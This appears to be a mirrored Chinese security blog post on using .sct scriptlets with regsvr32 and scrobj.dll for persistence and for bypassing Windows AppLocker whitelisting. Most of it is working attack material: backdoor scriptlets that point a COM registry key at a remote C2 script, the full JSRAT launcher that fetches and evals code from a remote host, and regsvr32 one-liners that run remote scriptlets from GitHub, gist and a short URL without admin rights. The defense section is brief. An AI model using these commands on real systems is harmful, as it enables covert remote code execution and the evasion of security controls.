Use SCT to Bypass Application Whitelisting Protection

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/04/22 11:04

0x00 前言


最近Casey [email protected],利用sct檔案來實現的持久機制。 我對此也很感興趣,於是對相關的內容作了研究學習,在學習過程中Casey Smith又教會了我很多,學會了一個繞過應用程式白名單的技巧,所以在此將學到的知識整理一下。

enter image description here

連結如下:

https://github.com/subTee/SCTPersistence

0x01 簡介


Regsvr32

Regsvr32命令用於註冊動態連結庫檔案,是 Windows 系統提供的用來向系統註冊控制元件或者解除安裝控制元件的命令,以命令列方式執行。 語法:

regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname 
其中dllname為activex控制元件檔名

引數:

/u
解除安裝已安裝的控制元件或DLL檔案
/s
靜默,不顯示任何訊息框
/n
指定不呼叫 DllRegisterServer,此選項必須與 /i 共同使用
/i:cmdline
呼叫 DllInstall 將它傳遞到可選的 [cmdline],在與 /u 共同使用時,它呼叫 dll 解除安裝
dllname
指定要註冊的 dll 檔名

COM元件:

以Win32動態連結庫(DLL)或可執行檔案(EXE)形式釋出的可執行二進位制程式碼,能夠滿足對元件架構的所有需求,可透過Regsvr32命令註冊。

特點:

元件與開發工具語言無關
透過介面有效保證了元件的複用性
元件執行效率高、便於使用和管理

Scriptlets:

在可擴充套件標記語言(XML)檔案中透過指令碼語言(VBScript或者JScript)可以建立一個COM物件,字尾名為sct

scrobj.dll:

用來幫助將COM請求傳送到指令碼元件

0x02 例項


1、Component.sct

內容如下:

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Component.InsideCOM"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000001}"
>
</registration>

<public>
    <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>
<script language="VBScript">
<![CDATA[

function Sum(X, Y)
    Sum = X + Y
end function

]]>
</script>

</scriptlet>

2、透過執行Regsvr32命令註冊COM元件

管理員許可權執行:

regsvr32 /i:"Component.sct" scrobj.dll

enter image description here

如圖,註冊後在登錄檔HKEY_CLASSES_ROOT\CLSID\下同步建立鍵值{10001111-0000-0000-0000-000000000001}

enter image description here

登錄檔鍵值細節如下:

[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}]
@="Component"

[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\VersionIndependentProgID]
@="Component.InsideCOM"

[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\ProgID]
@="Component.InsideCOM.1.00"

[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\ScriptletURL]
@="file://C:\\WINDOWS\\Desktop\\Component.sct"

[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\InprocServer32]
@="C:\\WINDOWS\\SYSTEM\\SCROBJ.DLL"
"ThreadingModel"="Apartment"

3、透過vbs呼叫註冊過的COM元件

TestVB.vbs:

Dim ref 
Set ref = CreateObject("Component.InsideCOM")
MsgBox ref.Sum(4, 6)

執行後如圖,成功呼叫COM元件

enter image description here

4、補充

以上透過VBS可呼叫剛剛註冊的COM元件"Component.InsideCOM",也可用JScript實現

(1)JScript實現

ComponentJS.sct: (https://github.com/subTee/SCTPersistence/blob/master/ComponentJS.sct)

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Component.InsideCOMJS"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000002}"
>
</registration>

<public>
    <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>
<script language="JScript">
<![CDATA[

function Sum(X, Y) {
    var result = X + Y;
    return result;
    }
]]>
</script>

</scriptlet>

TestJS.js: (https://github.com/subTee/SCTPersistence/blob/master/TestJS.js)

var ref = new ActiveXObject("Component.InsideCOMJS");
var x = ref.Sum(4,6);
WScript.Echo(x);

(2)可修改登錄檔鍵值以此更改COM元件內容

COM元件的檔案路徑如下:

[HKCR\CLSID\{10001111-0000-0000-0000-000000000001}\ScriptletURL]
@="file://C:\\WINDOWS\\Desktop\\Component.sct"

如果修改為另一指令碼的路徑,那麼再次呼叫元件會執行另一個指令碼的內容

(3)檔名可簡化

字尾名不一定必須用".sct",其他格式也可以

regsvr32 /i:"Component.txt" scrobj.dll

(4)/s引數

加入/s引數可隱藏彈出的註冊成功的對話方塊

(5)sct檔案可放在遠端伺服器上

regsvr32 /s /i:http://192.168.1.1/Component.txt scrobj.dll

注:

在代理環境下也能正常訪問,也支援https訪問

0x03 應用1:JSRAT


1、Casey的方法

(1)Backdoor.sct:

(https://github.com/subTee/SCTPersistence/blob/master/JSBackdoor/Backdoor.sct)

關鍵程式碼:

function C2Config() {
    //The default is to use the path to a local file... Here, I just rewrite the regkey, and now, the Class definition comes form the interwebs. Woo!
    var WshShell = new ActiveXObject("WScript.Shell");
    var strRegPath = "HKEY_CLASSES_ROOT\\CLSID\\{10001111-0000-0000-0000-00000000ACDC}\\ScriptletURL\\";
    WshShell.RegWrite(strRegPath, "http://127.0.0.1:8080/c2.js", "REG_SZ");
    }
/*
function Cleanup() { }
//Clean your room!
*/ 
function Main() {
    C2Config();
    //Cleanup();    
    }

當執行Backdoor.sct註冊COM元件時,Backdoor.sct會將元件登錄檔的鍵值ScriptletURL設為遠端伺服器上的地址:http://127.0.0.1:8080/c2.js

這樣的好處是Backdoor.sct檔案不需要儲存在系統上面,同時只要修改伺服器上的c2.js的內容就可以執行不同的命令

(2)c2.js

(https://github.com/subTee/SCTPersistence/blob/master/JSBackdoor/c2.js) 此檔案包含要執行的js命令

(3)BackdoorTest.js

(https://github.com/subTee/SCTPersistence/blob/master/JSBackdoor/BackdoorTest.js) 用於呼叫已註冊的COM元件,內容如下:

//呼叫Backdoor.sct中的C2Config(),將c2.js的路徑寫入登錄檔
var x = new ActiveXObject("Component.Backdoor");
x.Main();

//呼叫c2.js中的程式碼執行功能
var x = new ActiveXObject("Component.Backdoor");
x.Exec();

注:

呼叫方式不唯一,還可透過以下方式

a.rundll32.exe

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();x=new%20ActiveXObject("Component.Backdoor");x.Exec();

b.powershell

$s=New-Object -COM "Component.Backdoor";$s.Exec()

2、我的方法

(1)Backdoor.sct

(https://github.com/3gstudent/SCTPersistence/blob/master/JSBackdoor/Backdoor.sct) 直接在sct檔案中寫入JSRAT的啟動程式碼

細節如下:

function Exec()
    {
        rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
        new ActiveXObject("WScript.Shell").Run(rat,0,true);
    }

(2)BackdoorTest.js

(https://github.com/3gstudent/SCTPersistence/blob/master/JSBackdoor/BackdoorTest.js) 透過js指令碼呼叫即可

當然也可以透過rundll32.exe呼叫,程式碼如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();x=new%20ActiveXObject("JSRAT");x.Exec();

(3)註冊元件的方式

將Backdoor.sct放在遠端伺服器上,透過regsvr32註冊

regsvr32 /s /i:http://192.168.1.1/Backdoor.sct scrobj.dll

(4)呼叫COM元件"JSRAT"

即可啟動JSRAT

0x04 應用2:繞過應用程式白名單過濾


標準的xml檔案的內容如下:

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }

]]>
</script>

</scriptlet>

在成功註冊COM元件後,透過呼叫exec()才能夠執行裡面的功能

那麼,如果把Exec()的功能直接加到<registration>的標籤中呢? 會不會在註冊的過程中就可以呼叫exec()?

以下是Casey的實現方式:

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 

        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }

]]>
</script>

</scriptlet>

根據之前介紹的內容,現在來嘗試註冊這個COM元件:

regsvr32 /i https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct

enter image description here

如圖雖然能夠成功彈出計算器,但是會彈框提示報錯

但是有趣的是我們可以透過/s引數來忽略這個錯誤:

regsvr32 /s https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct

這樣就能夠成功執行彈出計算器

更有趣的是這個COM元件仍可以被正常呼叫:

js檔案如下:

var ref = new ActiveXObject("Empire");
var c=ref.Exec();

執行後會彈出cmd

總結以上的內容,只需執行如下程式碼即可執行遠端伺服器上的js指令碼

regsvr32 /s https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/bf04e98329ef471dcbbe621df5d61ddb4e802b63/Backdoor.sct

或者

regsvr32 /s https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct

如果轉換思路,就會發現這種方式可以繞過應用程式白名單的過濾

0x05 進階用法


介紹到這裡,你也許會認為,透過註冊COM元件來繞過應用程式白名單的過濾得需要管理員許可權,這會是一個雞肋。

但是,Casey發現了更高階的方法:

不需要管理許可權,同時也不需要寫入登錄檔

也許回頭看這個技巧很簡單,但是

能想到大家想不到的,這就不簡單

既然可以透過註冊控制元件來繞過白名單過濾,那麼透過解除安裝應該也可以,而且解除安裝控制元件的操作不需要管理員許可權,也不需要寫入登錄檔 所以引數如下即可:

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

如圖,普通使用者許可權,開啟Windows AppLocker,成功執行js程式碼,彈出計算器,前面介紹的JSRAT的應用方法也可以用這種方式執行

enter image description here

0x06 補充


補充另一個sct的應用方法 前不久更新了JSRAT的內容,新增了自動識別代理進行通訊的功能,因此JSRAT的啟動程式碼變得更長:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

這樣不僅對實際使用帶來不便,同時也影響了在快捷方式下的應用:

快捷方式支援的最大字元長度為260,而JSRAT的啟動程式碼遠超260,詳細問題描述可見:

https://github.com/3gstudent/Javascript-Backdoor/issues/3

而透過sct來啟動JSRAT恰恰可以解決這個問題,已將利用程式碼上傳至github:

https://github.com/3gstudent/SCTPersistence/blob/master/ShortJSRAT.sct

透過regsvr32執行伺服器上的ShortJSRAT.sct檔案

ShortJSRAT.sct檔案包含JSRAT的啟動程式碼

最終最佳化的JSRAT啟動程式碼如下:

regsvr32 /s /n /u /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/ShortJSRAT.sct scrobj.dll

如果覺得網址過長,可使用短地址來代替上述檔案URL,短地址如下:

regsvr32 /s /n /u /i:https://goo.gl/ijB12k scrobj.dll

注:

該短地址是透過google url shortener生成,因此國內使用者無法直接訪問,換用其他平臺的短地址服務就好。

0x07 防禦


綜上,這個技巧的實現需要如下限制條件:

能在系統上可以執行程式碼

所以應用的前提是已經獲得了系統的訪問許可權,因此只要保護好自身系統的安全就不會被這種類似的方式攻擊。至於Windows AppLocker,無法防禦sct的應用。

0x08 小結


引用Casey部落格的一句話:

(http://subt0x10.blogspot.com/2016/04/setting-up-homestead-in-enterprise-with.html) Well, now that everyone has eyes on PowerShell...Lets see what we can do with JavaScript!

再次感謝Casey [email protected],十分感謝。有待研究的細節還有很多,如果你對此感興趣,可以一起交流。

更多學習資料:

Casey [email protected],值得學習: (http://subt0x10.blogspot.jp/2016/04/bypass-application-whitelisting-script.html)

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章